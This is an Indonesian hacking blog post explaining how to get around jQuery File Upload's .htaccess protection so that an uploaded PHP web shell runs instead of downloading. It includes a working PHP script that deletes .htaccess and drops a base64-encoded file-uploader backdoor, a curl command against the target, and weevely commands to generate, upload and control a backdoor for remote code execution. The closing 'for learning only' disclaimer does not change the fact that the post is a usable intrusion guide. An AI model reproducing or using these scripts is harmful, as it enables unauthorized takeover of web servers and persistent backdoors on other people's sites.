Cara Bypass Upload Shell Terdownload (jQuery File Upload etc)


Hallo!
Kembali lagi di Evil Twin - Blog, Oke pada artikel kali ini Saya selaku Admin Evil Twin akan membagikan sebuah cara untuk melakukan bypass pada saat mengunggah Shell Backdoor yang ketika diakses malah Terdownload.

Disini Saya akan memberikan Caranya kepada Kamu semuanya selaku pembaca setia Blog kecil Kami hahaha.

Mengapa Shell Backdoor Bisa Terdownload?

Ada beberapa faktor yang membuat shell backdoor terdownload ketika diakses, Salah satu contohnya adalah di plugins jQuery File Upload. Ada file ".htaccess" di directory files yang isinya seperti ini:
<FilesMatch ".+\.(?i:(gif|jpe?g|png))$">
    ForceType none
    Header unset Content-Disposition
</FilesMatch>
Nah, dari situ Kamu bisa membaca, bahwa selain extensi yang ada disitu. Extensi apapun, akan terdownload ketika diakses tetapi masih ada kemungkinan php code dan sebagainya bisa ter-eksekusi.

Cara Mengatasi Shell Terdownload

Jika sudah mengetahui mengapa shell backdoor bisa terdownload, Selanjutnya adalah cara untuk mengatasi Shell yang Terdownload.

Metode Pertama (Delete .htaccess)
Ada beberapa cara yang dilakukan oleh Attacker untuk berhasil mengunggah dan mengakses Shell Backdoor. Namun, disini Saya akan memberikan dua cara saja yang menurut Saya paling bisa diandalkan.

Bagaimana Caranya? Caranya adalah dengan menggunakan script yang telah Saya buat dan tulis sendiri untuk mem-bypass shell backdoor yang terdownload tadi.

<?php
$eviltwin_hta = ".htaccess";
$eviltwin_path = getcwd();
if (!unlink($eviltwin_hta)) {
echo ("$eviltwin_path/0xEvil.php");}else {echo ("$eviltwin_path/0xEvil.php");}
$eviltwin_name = fopen("0xEvil.php", "w") or die("Unable to open file!");
$eviltwin_file = base64_decode("PD9waHAgZWNobyI8Yj5FdmlsIFR3aW4gVXBsb2FkZXIgKHd3dy5ldmlsdHcuaW4pPC9iPjxicj4iO2lmKCRfUE9TVCl7aWYoQGNvcHkoJF9GSUxFU1siMCJdWyJ0bXBfbmFtZSJdLCRfRklMRVNbIjAiXVsibmFtZSJdKSl7ZWNobyJCZXJoYXNpbCI7fWVsc2V7ZWNobyJHYWsgQmVyaGFzaWwiO319ZWxzZXtlY2hvIjxmb3JtIG1ldGhvZD1wb3N0IGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT48aW5wdXQgdHlwZT1maWxlIG5hbWU9MD48aW5wdXQgbmFtZT0wIHR5cGU9c3VibWl0IHZhbHVlPUdvIT4iO30/Pg==");
fwrite($eviltwin_name, $eviltwin_file);
fclose($eviltwin_name);
?>

Save file itu dengan extensi .php (Contoh: eviltwin.php) lalu unggah/upload file tersebut ke target dan akses file itu menggunakan cURL saja (atau bisa juga diakses 2x filenya, yang pertama pasti kedownload dan yang kedua seharusnya ada path bersamaan dengan nama uploadernya)

Jika ingin menggunakan cURL, bisa menggunakan Command/Perintah seperti ini:

curl -v http://urltarget/files/eviltwin.php


Perhatikan Outputnya, Jika outputnya seperti gambar diatas, Artinya kamu berhasil mem-bypass shell yang terdownload tadi dan silahkan akses 0xEvil.php


Penjelasan dari metode diatas adalah file yang bernama eviltwin.php tadi ketika diakses dan php code-nya berhasil ter-eksekusi maka dia akan menghapus .htaccess bawaan server yang menghalangi shell backdoor untuk diakses oleh Anda dan juga membuat uploader dengan nama 0xEvil.php untuk diakses oleh Anda.

Metode Kedua (Menggunakan Weevely untuk Remote Code Execution)
Cara yang kedua adalah dengan menggunakan weevely untuk melakukan Remote Code Execution atau biasa disebut RCE. Kamu bisa menginstall dan generate shell backdoor dengan menggunakan command ini (BTW Saya disini menggunakan Kali Linux pada WSL).

sudo apt update && apt upgrade -y
sudo apt install weevely -y
weevely generate eviltwin evil.php

Note: Kamu bisa mengganti eviltwin dan evil.php sesuai dengan yang Kamu inginkan, itu hanya sebagai contoh saja.

Jika sudah, Silahkan unggah/upload file evil.php di website target dan kemudian salin url website target beserta path file tadi.

weevely http://urltarget/files/evil.php eviltwin

Lalu tes weevely dapat berjalan dengan baik menggunakan command apapun, Sebagai contoh: uname -a dan sebagainya.


Jika command berhasil ter-eksekusi seperti gambar diatas, Tentu Anda sudah mengetahui apalagi yang harus Anda lakukan hahaha.

Akhir Kata

Oke mungkin cukup sampai disini aja artikel yang Saya tulis dengan judul "Cara Bypass Upload Shell Terdownload (jQuery File Upload etc)".
Silahkan gunakan tutorial ini dengan bijak dan dengan penuh tanggung jawab.

Tidak ada maksud lain dari artikel ini selain untuk pembelajaran semata, Jika ada tindakan yang melanggar hukum yang Kamu lakukan, Itu murni tanggung jawab Kamu sendiri.